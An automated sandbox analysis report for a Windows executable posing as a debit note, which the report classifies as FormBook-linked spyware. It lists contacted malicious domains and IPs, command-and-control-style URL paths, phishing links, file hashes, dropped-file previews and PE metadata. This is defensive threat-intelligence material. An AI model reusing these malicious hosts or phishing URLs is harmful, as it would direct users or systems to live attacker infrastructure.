                                      172.67.181.150
                                      		www.aaavvejibej.bondUnited States
                                      		13335CLOUDFLARENETUSfalse
                                      3.33.130.190
                                      		crowsecurity.cloudUnited States
                                      		8987AMAZONEXPANSIONGBfalse

                                      General Information

                                      Joe Sandbox version:41.0.0 Charoite
                                      Analysis ID:1513858
                                      Start date and time:2024-09-19 15:02:31 +02:00
                                      Joe Sandbox product:CloudBasic
                                      Overall analysis duration:0h 9m 15s
                                      Hypervisor based Inspection enabled:false
                                      Report type:full
                                      Cookbook file name:default.jbs
                                      Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                      Run name:Run with higher sleep bypass
                                      Number of analysed new started processes analysed:8
                                      Number of new started drivers analysed:0
                                      Number of existing processes analysed:0
                                      Number of existing drivers analysed:0
                                      Number of injected processes analysed:2
                                      Technologies:
                                      • HCA enabled
                                      • EGA enabled
                                      • AMSI enabled
                                      Analysis Mode:default
                                      Analysis stop reason:Timeout
                                      Sample name:DEBIT NOTE 01ST SEP 2024.exe
                                      Detection:MAL
                                      Classification:mal100.troj.spyw.evad.winEXE@7/2@8/5
                                      EGA Information:
                                      • Successful, ratio: 75%
                                      HCA Information:
                                      • Successful, ratio: 96%
                                      • Number of executed functions: 51
                                      • Number of non-executed functions: 305
                                      Cookbook Comments:
                                      • Found application associated with file extension: .exe
                                      • Sleeps bigger than 100000000ms are automatically reduced to 1000ms

                                      Warnings

                                      • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                                      • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                      • Execution Graph export aborted for target WrtyZOtiIHMYio.exe, PID 5956 because it is empty
                                      • Not all processes where analyzed, report is missing behavior information
                                      • Report creation exceeded maximum time and may have missing disassembly code information.
                                      • Report size exceeded maximum capacity and may have missing disassembly code.
                                      • VT rate limit hit for: DEBIT NOTE 01ST SEP 2024.exe

                                      Simulations

                                      Behavior and APIs

                                      TimeTypeDescription
                                      09:04:40API Interceptor4740139x Sleep call for process: TapiUnattend.exe modified

                                      Joe Sandbox View / Context

                                      IPs

                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                      156.242.132.82PROFOMA INVOICE SHEET.exeGet hashmaliciousFormBookBrowse
                                      • www.shanhaiguan.net/p2q3/
                                      136.143.186.12PROFOMA INVOICE SHEET.exeGet hashmaliciousFormBookBrowse
                                      • www.lanxuanz.tech/ivo1/
                                      x.exeGet hashmaliciousFormBookBrowse
                                      • www.lanxuanz.tech/em49/
                                      bin.exeGet hashmaliciousFormBookBrowse
                                      • www.lanxuanz.tech/em49/
                                      PR44238-43433.exeGet hashmaliciousFormBookBrowse
                                      • www.jrksa.info/nq8t/
                                      w3xlXm0r8W.exeGet hashmaliciousFormBookBrowse
                                      • www.novaminds.online/ephb/?xN6PGj=vLmbgoHRNfK6ITOjmiLFGNRbChMUzx7XLdCca8olfY2Nxc16AQQbup47Ltpv+Aaivc7Y&_0DPe6=UHL0NdrXCvl
                                      RFQ-9877678-9988876509886546887.exeGet hashmaliciousFormBookBrowse
                                      • www.jrksa.info/nq8t/
                                      RFQ-9877678-9988876509886546884.exeGet hashmaliciousFormBookBrowse
                                      • www.jrksa.info/nq8t/
                                      H25iQbxCki.exeGet hashmaliciousFormBookBrowse
                                      • www.jrksa.info/mcz6/
                                      RFQ 5654077845567895504_d0c.exeGet hashmaliciousFormBookBrowse
                                      • www.jrksa.info/nq8t/
                                      VSL_BUNKER INQUIRY.exeGet hashmaliciousFormBookBrowse
                                      • www.topscaleservices.com/uyud/?4PB=a4DuWa1aWcmJH21/SNxRR+JRQb1v/kzaj3WKu4zLUxUUlKGTu9D1sWAogGI9gEZiY1gr5T6O35XBnrIr/I/ZCy9af96nyleFJwK0nJryK+5dgXb3T0bI8KcvkRm3LjrqBQ==&wdZh=n2Ih08C05RZDa
                                      199.192.21.169DCP11-83642024..exeGet hashmaliciousFormBookBrowse
                                      • www.urbanpulse.help/r50h/
                                      PROFOMA INVOICE SHEET.exeGet hashmaliciousFormBookBrowse
                                      • www.selftip.top/85su/
                                      SOLICITUD DE COTIZACI#U00d3N - 6721000232111.exeGet hashmaliciousFormBookBrowse
                                      • www.zenscape.top/d8cw/
                                      file.exeGet hashmaliciousFormBookBrowse
                                      • www.urbanpulse.help/r50h/
                                      INV & BANK DETAILS LETTER.pdf.exeGet hashmaliciousFormBookBrowse
                                      • www.cenfresh.life/6iok/
                                      172.67.181.150http://www.amazcaom-co-jp.amaozeon.chatdouyin.topGet hashmaliciousUnknownBrowse
                                        3.33.130.190PO098765678.exeGet hashmaliciousFormBookBrowse
                                        • www.riyadhseasoncards.net/4g92/
                                        PAGO $830.900.exeGet hashmaliciousFormBookBrowse
                                        • www.omexai.info/7xi5/
                                        New Purchase Order.exeGet hashmaliciousFormBookBrowse
                                        • www.angelenterprise.biz/efkd/
                                        DCP11-83642024..exeGet hashmaliciousFormBookBrowse
                                        • www.theclydefund.info/iqn9/
                                        NEW ORDERS scan_29012019.exeGet hashmaliciousFormBookBrowse
                                        • www.crowsecurity.cloud/dt20/
                                        Scanned Purchase Copy.vbsGet hashmaliciousFormBook, GuLoaderBrowse
                                        • www.teerra.shop/y23u/
                                        Shipping report#Cargo Handling.exeGet hashmaliciousFormBookBrowse
                                        • www.tigre777gg.online/06rp/
                                        PO76389.exeGet hashmaliciousFormBookBrowse
                                        • www.tigre777gg.online/06rp/
                                        PROFOMA INVOICE SHEET.exeGet hashmaliciousFormBookBrowse
                                        • www.o731lh.vip/2mtz/
                                        k8FSEGGo4d9blGr.exeGet hashmaliciousFormBookBrowse
                                        • www.angelenterprise.biz/7zy1/

                                        Domains

                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                        www.shanhaiguan.netPROFOMA INVOICE SHEET.exeGet hashmaliciousFormBookBrowse
                                        • 156.242.132.82
                                        www.selftip.topPROFOMA INVOICE SHEET.exeGet hashmaliciousFormBookBrowse
                                        • 199.192.21.169
                                        www.aaavvejibej.bondPROFOMA INVOICE SHEET.exeGet hashmaliciousFormBookBrowse
                                        • 104.21.31.249
                                        zhs.zohosites.comPROFOMA INVOICE SHEET.exeGet hashmaliciousFormBookBrowse
                                        • 136.143.186.12
                                        x.exeGet hashmaliciousFormBookBrowse
                                        • 136.143.186.12
                                        bin.exeGet hashmaliciousFormBookBrowse
                                        • 136.143.186.12
                                        PR44238-43433.exeGet hashmaliciousFormBookBrowse
                                        • 136.143.186.12
                                        w3xlXm0r8W.exeGet hashmaliciousFormBookBrowse
                                        • 136.143.186.12
                                        RFQ-9877678-9988876509886546887.exeGet hashmaliciousFormBookBrowse
                                        • 136.143.186.12
                                        RFQ-9877678-9988876509886546884.exeGet hashmaliciousFormBookBrowse
                                        • 136.143.186.12
                                        VSL_BUNKER INQUIRY.exeGet hashmaliciousFormBookBrowse
                                        • 136.143.180.12
                                        eNXDCIvEXI.exeGet hashmaliciousFormBookBrowse
                                        • 136.143.180.12
                                        H25iQbxCki.exeGet hashmaliciousFormBookBrowse
                                        • 136.143.186.12

                                        ASNs

                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                        POWERLINE-AS-APPOWERLINEDATACENTERHKPROFOMA INVOICE SHEET.exeGet hashmaliciousFormBookBrowse
                                        • 156.242.132.82
                                        SecuriteInfo.com.Win32.Malware-gen.24953.22588.exeGet hashmaliciousFormBookBrowse
                                        • 45.114.171.236
                                        RFQ-TECMARKQATAR PO33109.xlsxGet hashmaliciousFormBookBrowse
                                        • 45.114.171.236
                                        z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exeGet hashmaliciousFormBookBrowse
                                        • 154.213.157.32
                                        SecuriteInfo.com.Linux.Siggen.9999.5151.15671.elfGet hashmaliciousMiraiBrowse
                                        • 160.124.177.51
                                        Jsn496Em5T.exeGet hashmaliciousFormBookBrowse
                                        • 154.216.48.123
                                        firmware.armv5l.elfGet hashmaliciousUnknownBrowse
                                        • 156.250.222.244
                                        firmware.armv7l.elfGet hashmaliciousUnknownBrowse
                                        • 154.216.66.110
                                        firmware.mipsel.elfGet hashmaliciousUnknownBrowse
                                        • 154.202.175.222
                                        ORDER_pdf.exeGet hashmaliciousFormBookBrowse
                                        • 154.92.59.24
                                        AMAZONEXPANSIONGBPO098765678.exeGet hashmaliciousFormBookBrowse
                                        • 3.33.130.190
                                        http://adf-ask-accessibility-daeeafembaazdzfk.z01.azurefd.netGet hashmaliciousUnknownBrowse
                                        • 52.223.40.198
                                        http://tesecuuweqo.shopGet hashmaliciousUnknownBrowse
                                        • 52.223.40.198
                                        Williams Raveis Share 09.25.htmlGet hashmaliciousHTMLPhisherBrowse
                                        • 3.33.220.150
                                        PAGO $830.900.exeGet hashmaliciousFormBookBrowse
                                        • 3.33.130.190
                                        New Purchase Order.exeGet hashmaliciousFormBookBrowse
                                        • 3.33.130.190
                                        https://havannahboathouse.com/Get hashmaliciousUnknownBrowse
                                        • 52.223.34.155
                                        https://pancake-frontend-dejmy38ut-chefilip.vercel.app/farmsGet hashmaliciousUnknownBrowse
                                        • 52.223.34.155
                                        https://pancake-frontend-dejmy38ut-chefilip.vercel.app/nfts/activityGet hashmaliciousUnknownBrowse
                                        • 52.223.34.155
                                        https://pancake-frontend-dejmy38ut-chefilip.vercel.app/liquidityGet hashmaliciousUnknownBrowse
                                        • 52.223.34.155
                                        ZOHO-ASUShttps://linklock.titanhq.com/analyse?url=https%3A%2F%2Femaze.me%2Fzinninsurance%23untitled2&data=eJxdjMEKwjAQRL-mOYa20RgPOXgpVUT8hbgJGEw2ZbNB6NebszCHN_BmwGp1Pk1HbUZtzCS8hYK1JQYXSELJItv5vj4q4fN6W7-iWiqviMNhpOY_ETcqvgHHvpIYWJCFlEtCR135_2r2zbzVQV2GeekJ2e1B5tBxj4ix2-QQelcNOXIKfv4BXds4OQ%%Get hashmaliciousUnknownBrowse
                                        • 204.141.43.190
                                        PROFOMA INVOICE SHEET.exeGet hashmaliciousFormBookBrowse
                                        • 136.143.186.12
                                        x.exeGet hashmaliciousFormBookBrowse
                                        • 136.143.186.12
                                        bin.exeGet hashmaliciousFormBookBrowse
                                        • 136.143.186.12
                                        https://americanathletic.zohodesk.com/portal/en/kb/articles/secure-business-documentsGet hashmaliciousUnknownBrowse
                                        • 136.143.191.172
                                        x86.elfGet hashmaliciousUnknownBrowse
                                        • 165.173.254.246
                                        https://authenticatesrv.spiritproducts.net/ck1/2d6f.7c034e718db46b30/419a3880-5f16-11ef-b8e1-525400721611/9f8bdc6e12526302fc1bc1642c86f78252fda8c1/2?e=Nm%2BKwgX31zZZHmcYOfoRL7XItJEu0aj7qdUQZVkwW4SjJAvb0T0NYaII1ijFN8OsBsszx8gv12KAbT3RDPMeVw%2FbefV4L1yqgi%2FKG9lD6NQTrh%2BQ2ox9o1TV16RIuHKxGet hashmaliciousHTMLPhisher, Tycoon2FABrowse
                                        • 204.141.42.213
                                        https://insights.zohorecruit.com/ck1/2d6f.390d3f0/fab65c60-5e29-11ef-896b-525400d6cd4f/02e60029eb3c4e09f8e3cb9644fa23262f52aa86/2?e=arqOrxEM1Pu0aMl2J4DeUujZWH3TPRnuK%2F%2F50IkkynofyG9S9LzMCQGQeD3A8%2BvCqigeqgLnvt4AorXAOg1unw%3D%3DGet hashmaliciousUnknownBrowse
                                        • 204.141.42.213
                                        http://workdrive.zohoexternal.comGet hashmaliciousUnknownBrowse
                                        • 204.141.43.16
                                        https://workdrive.zohoexternal.com/external/writer/46fdf68b2f78265d07797e09c63aeef4064c3374cfc014062660688cb6876b9bGet hashmaliciousUnknownBrowse
                                        • 204.141.43.16
                                        NAMECHEAP-NETUSoriginal (37).emlGet hashmaliciousUnknownBrowse
                                        • 199.188.200.183
                                        https://neebedankt-f8cdcf.ingress-earth.ewp.live/wp-content/plugins/esidemthuis/pages/region.php?lcaGet hashmaliciousUnknownBrowse
                                        • 63.250.43.128
                                        https://frizzonaireproclarks-goawhip-f7a93a.ingress-bonde.ewp.live/wp-content/plugins/O-beaspieching/pages/region.php?lcaGet hashmaliciousUnknownBrowse
                                        • 63.250.43.2
                                        https://exjr5g5nif.fessional.shop/?email=anRvcmtlbHNvbkBjY2ZpLmNvbQ==Get hashmaliciousEvilProxy, HTMLPhisherBrowse
                                        • 162.0.228.73
                                        PAGO $830.900.exeGet hashmaliciousFormBookBrowse
                                        • 63.250.47.40
                                        https://www.google.com/url?q=https://www.google.com/url?q=https://www.google.com/url?q=https://www.google.com/url?q=https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wD6jzGRyycT&sa=t&esrc=6jzGRFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ1GcDqhlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fanoboy.pw%2Fojo%2Flok%2F9198595720/#a2FybC5ib25uZXJAYXR1Lmll=$%E3%80%82Get hashmaliciousEvilProxy, HTMLPhisherBrowse
                                        • 162.0.228.73
                                        https://urlz.fr/sarOGet hashmaliciousUnknownBrowse
                                        • 63.250.43.136
                                        https://thomasuhe-f90d31.ingress-florina.ewp.live/wp-content/plugins/agrinotcc/pages/region.php?lca#3f735a1f7f42382abGet hashmaliciousUnknownBrowse
                                        • 63.250.43.137
                                        https://urlz.fr/s08eGet hashmaliciousUnknownBrowse
                                        • 63.250.43.14
                                        https://dhbgry-f2f2b7.ingress-daribow.ewp.live/wp-content/plugins/sdnww/pages/region.phpGet hashmaliciousUnknownBrowse
                                        • 63.250.43.14
                                        CLOUDFLARENETUSDHL documents_PDF.exeGet hashmaliciousFormBookBrowse
                                        • 188.114.97.3
                                        Estado de Cuenta.exeGet hashmaliciousSnake KeyloggerBrowse
                                        • 188.114.97.3
                                        https://www.opinionstage.com/page/9bcc3898-85f3-45d7-8bf3-83291ce66ba3Get hashmaliciousUnknownBrowse
                                        • 162.247.243.29
                                        FDS00000900000.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                        • 188.114.96.3
                                        Invoice & C form TT 175102.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                        • 188.114.96.3
                                        https://besysone.page.link/beGet hashmaliciousHTMLPhisherBrowse
                                        • 104.18.95.41
                                        OC_0069960.pdf.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                        • 188.114.96.3
                                        PO23100080 & Order Specs.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                        • 188.114.96.3
                                        172674666723971acbf89eb38282bdbcfb6d57f6250ca16e96c6a4674bf3fdecf26345e3f1401.dat-decoded.exeGet hashmaliciousZhark RATBrowse
                                        • 104.21.11.92
                                        https://get.hidrive.com/4hCMPLm5Get hashmaliciousUnknownBrowse
                                        • 162.159.140.237

                                        JA3 Fingerprints

                                        ⊘No context

                                        Dropped Files

                                        ⊘No context

                                        Created / dropped Files

                                        C:\Users\user\AppData\Local\Temp\H05Y8H-I

                                        Download File
                                        Process:C:\Windows\SysWOW64\TapiUnattend.exe
                                        File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                        Category:dropped
                                        Size (bytes):114688
                                        Entropy (8bit):0.9746603542602881
                                        Encrypted:false
                                        SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                        MD5:780853CDDEAEE8DE70F28A4B255A600B
                                        SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                        SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                        SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                        Malicious:false
                                        Reputation:high, very likely benign file
                                        Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                        C:\Users\user\AppData\Local\Temp\caulds

                                        Download File
                                        Process:C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe
                                        File Type:data
                                        Category:dropped
                                        Size (bytes):288768
                                        Entropy (8bit):7.993171568979557
                                        Encrypted:true
                                        SSDEEP:6144:6Q8h8IJbdHHze94DAR/rAVND+17yKyUDJvcpWhsl:F8HJ1H694DAgQ+oFvvw
                                        MD5:6F438EDF0A753EA370E5E062B06511F0
                                        SHA1:33D093E6C46B66B8C049A78187EDB82E71EB198E
                                        SHA-256:97664DE5A1C14BAE214D5BD2F80C3CE844C904147C5A2C5A31B2E81C6117BAF5
                                        SHA-512:E3B8726A8A2491581F4C2D263B4E804BF1B5C9CF32B89F4199F75FD1D228CBCC9EA04A4EFEBF48278C5C22E4CA97CA4CACCA99B1A216311CD7B55DEF4543EC63
                                        Malicious:false
                                        Reputation:low
                                        Preview:..u..HX3Q..<...z.H[..qK=...0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0F.HX3_O.F5.E...K....80;.5>>W4+%xP0>7'Ae.4.4?&xZ?p..fe!>T#dEU9uPYH5ELQIGC.eS6.d(R.q1W.P...k0>./...&-.B...e(R..8S.w(?.QPYH5ELQ`.JH.2PP..U.LQ0FJHX3.P[I>DGQ0.NHX3QPYH5E,E0FJXX3Q ]H5E.Q0VJHX1QP_H5ELQ0FLHX3QPYH55HQ0DJHX3QP[Hu.LQ FJXX3QPIH5ULQ0FJHH3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH.1))DFJH.gUPYX5EL.4FJXX3QPYH5ELQ0FJHx3Q0YH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJHX3QPYH5ELQ0FJH

                                        Static File Info

                                        General

                                        File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                        Entropy (8bit):7.562499473306376
                                        TrID:
                                        • Win32 Executable (generic) a (10002005/4) 99.96%
                                        • Generic Win/DOS Executable (2004/3) 0.02%
                                        • DOS Executable Generic (2002/1) 0.02%
                                        • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                        File name:DEBIT NOTE 01ST SEP 2024.exe
                                        File size:1'404'627 bytes
                                        MD5:2ee34a406a8317793492eec957b463a1
                                        SHA1:ed16a24270a4d161f71512bb7e6fbf32187ab0ee
                                        SHA256:ce9c1b9af59f8c865bac45a1772d8900f49b42f0b15a6ab0eacf9df4fb621604
                                        SHA512:0547edd4aa76499a5cfc2f819d4b2f736de3bd92dba475000364eed3c581bb04f282d3c8bc9993f6df89c046af19f1e403fd7260b446003cda8115ba6da355c1
                                        SSDEEP:24576:uRmJkcoQricOIQxiZY1iaCq8byNd5rZjq2u1Wy4iw7N6U0wlUHn5jr:7JZoQrbTFZY1iaCq8bg8Wys7N6FwlU1
                                        TLSH:4655F121B5D58036C2B327719E7EF76A9A3D79360336D29B27C82D311EA05416B39733
                                        File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................1b.......P.).....Q.......y.......i..........}....N.......d.......`.......m.......g.....Rich............PE..L..

                                        File Icon

                                        Icon Hash:1733312925935517

                                        Static PE Info

                                        General

                                        Entrypoint:0x4165c1
                                        Entrypoint Section:.text
                                        Digitally signed:false
                                        Imagebase:0x400000
                                        Subsystem:windows gui
                                        Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                                        DLL Characteristics:TERMINAL_SERVER_AWARE
                                        Time Stamp:0x4F25BAEC [Sun Jan 29 21:32:28 2012 UTC]
                                        TLS Callbacks:
                                        CLR (.Net) Version:
                                        OS Version Major:5
                                        OS Version Minor:0
                                        File Version Major:5
                                        File Version Minor:0
                                        Subsystem Version Major:5
                                        Subsystem Version Minor:0
                                        Import Hash:d3bf8a7746a8d1ee8f6e5960c3f69378

                                        Entrypoint Preview

                                        Instruction
                                        call 00007F7FFC53A7CBh
                                        jmp 00007F7FFC53163Eh
                                        int3
                                        int3
                                        int3
                                        int3
                                        int3
                                        push ebp
                                        mov ebp, esp
                                        push edi
                                        push esi
                                        mov esi, dword ptr [ebp+0Ch]
                                        mov ecx, dword ptr [ebp+10h]
                                        mov edi, dword ptr [ebp+08h]
                                        mov eax, ecx
                                        mov edx, ecx
                                        add eax, esi
                                        cmp edi, esi
                                        jbe 00007F7FFC5317BAh
                                        cmp edi, eax
                                        jc 00007F7FFC531956h
                                        cmp ecx, 00000080h
                                        jc 00007F7FFC5317CEh
                                        cmp dword ptr [004A9724h], 00000000h
                                        je 00007F7FFC5317C5h
                                        push edi
                                        push esi
                                        and edi, 0Fh
                                        and esi, 0Fh
                                        cmp edi, esi
                                        pop esi
                                        pop edi
                                        jne 00007F7FFC5317B7h
                                        jmp 00007F7FFC531B92h
                                        test edi, 00000003h
                                        jne 00007F7FFC5317C6h
                                        shr ecx, 02h
                                        and edx, 03h
                                        cmp ecx, 08h
                                        jc 00007F7FFC5317DBh
                                        rep movsd
                                        jmp dword ptr [00416740h+edx*4]
                                        mov eax, edi
                                        mov edx, 00000003h
                                        sub ecx, 04h
                                        jc 00007F7FFC5317BEh
                                        and eax, 03h
                                        add ecx, eax
                                        jmp dword ptr [00416654h+eax*4]
                                        jmp dword ptr [00416750h+ecx*4]
                                        nop
                                        jmp dword ptr [004166D4h+ecx*4]
                                        nop
                                        inc cx
                                        add byte ptr [eax-4BFFBE9Ah], dl
                                        inc cx
                                        add byte ptr [ebx], ah
                                        ror dword ptr [edx-75F877FAh], 1
                                        inc esi
                                        add dword ptr [eax+468A0147h], ecx
                                        add al, cl
                                        jmp 00007F7FFE9A9FB7h
                                        add esi, 03h
                                        add edi, 03h
                                        cmp ecx, 08h
                                        jc 00007F7FFC53177Eh
                                        rep movsd
                                        jmp dword ptr [00000000h+edx*4]

                                        Rich Headers

                                        Programming Language:
                                        • [ C ] VS2010 SP1 build 40219
                                        • [C++] VS2010 SP1 build 40219
                                        • [ C ] VS2008 SP1 build 30729
                                        • [IMP] VS2008 SP1 build 30729
                                        • [ASM] VS2010 SP1 build 40219
                                        • [RES] VS2010 SP1 build 40219
                                        • [LNK] VS2010 SP1 build 40219

                                        Data Directories

                                        NameVirtual AddressVirtual Size Is in Section
                                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                        IMAGE_DIRECTORY_ENTRY_IMPORT0x8d41c0x154.rdata
                                        IMAGE_DIRECTORY_ENTRY_RESOURCE0xab0000x9328.rsrc
                                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                        IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                        IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                        IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                        IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                        IMAGE_DIRECTORY_ENTRY_IAT0x820000x844.rdata
                                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                        Sections

                                        NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                        .text0x10000x8061c0x8080061ffce4768976fa0dd2a8f6a97b1417aFalse0.5583182605787937data6.684690148171278IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                        .rdata0x820000xdfc00xe0000354bc5f2376b5e9a4a3ba38b682dff1False0.36085728236607145data4.799741132252136IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                        .data0x900000x1a7580x68008033f5a38941b4685bc2299e78f31221False0.15324519230769232data2.1500715391677487IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                        .rsrc0xab0000x93280x9400495451d7eb8326bd9fa2714869ea6de8False0.49002322635135137data5.541804843154628IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                        Resources

                                        NameRVASizeTypeLanguageCountryZLIB Complexity
                                        RT_ICON0xab5c80x128Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colorsEnglishGreat Britain0.3277027027027027
                                        RT_ICON0xab6f00x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.7466216216216216
                                        RT_ICON0xab8180x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
                                        RT_ICON0xab9400x668Device independent bitmap graphic, 48 x 96 x 4, image size 1152EnglishGreat Britain0.48109756097560974
                                        RT_ICON0xabfa80x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 512EnglishGreat Britain0.5672043010752689
                                        RT_ICON0xac2900x128Device independent bitmap graphic, 16 x 32 x 4, image size 128EnglishGreat Britain0.6418918918918919
                                        RT_ICON0xac3b80xea8Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colorsEnglishGreat Britain0.7044243070362474
                                        RT_ICON0xad2600x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colorsEnglishGreat Britain0.8077617328519856
                                        RT_ICON0xadb080x568Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colorsEnglishGreat Britain0.5903179190751445
                                        RT_ICON0xae0700x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9600EnglishGreat Britain0.5503112033195021
                                        RT_ICON0xb06180x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4224EnglishGreat Britain0.6050656660412758
                                        RT_ICON0xb16c00x468Device independent bitmap graphic, 16 x 32 x 32, image size 1088EnglishGreat Britain0.7553191489361702
                                        RT_MENU0xb1b280x50dataEnglishGreat Britain0.9
                                        RT_DIALOG0xb1b780xfcdataEnglishGreat Britain0.6507936507936508
                                        RT_STRING0xb1c780x530dataEnglishGreat Britain0.33960843373493976
                                        RT_STRING0xb21a80x690dataEnglishGreat Britain0.26964285714285713
                                        RT_STRING0xb28380x4d0dataEnglishGreat Britain0.36363636363636365
                                        RT_STRING0xb2d080x5fcdataEnglishGreat Britain0.3087467362924282
                                        RT_STRING0xb33080x65cdataEnglishGreat Britain0.34336609336609336
                                        RT_STRING0xb39680x388dataEnglishGreat Britain0.377212389380531
                                        RT_STRING0xb3cf00x158Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0EnglishUnited States0.502906976744186
                                        RT_GROUP_ICON0xb3e480x84dataEnglishGreat Britain0.6439393939393939
                                        RT_GROUP_ICON0xb3ed00x14dataEnglishGreat Britain1.15
                                        RT_GROUP_ICON0xb3ee80x14dataEnglishGreat Britain1.25
                                        RT_GROUP_ICON0xb3f000x14dataEnglishGreat Britain1.25
                                        RT_VERSION0xb3f180x19cdataEnglishGreat Britain0.5339805825242718
                                        RT_MANIFEST0xb40b80x26cASCII text, with CRLF line terminatorsEnglishUnited States0.5145161290322581

                                        Imports

                                        DLLImport
                                        WSOCK32.dll__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
                                        VERSION.dllVerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
                                        WINMM.dlltimeGetTime, waveOutSetVolume, mciSendStringW
                                        COMCTL32.dllImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
                                        MPR.dllWNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
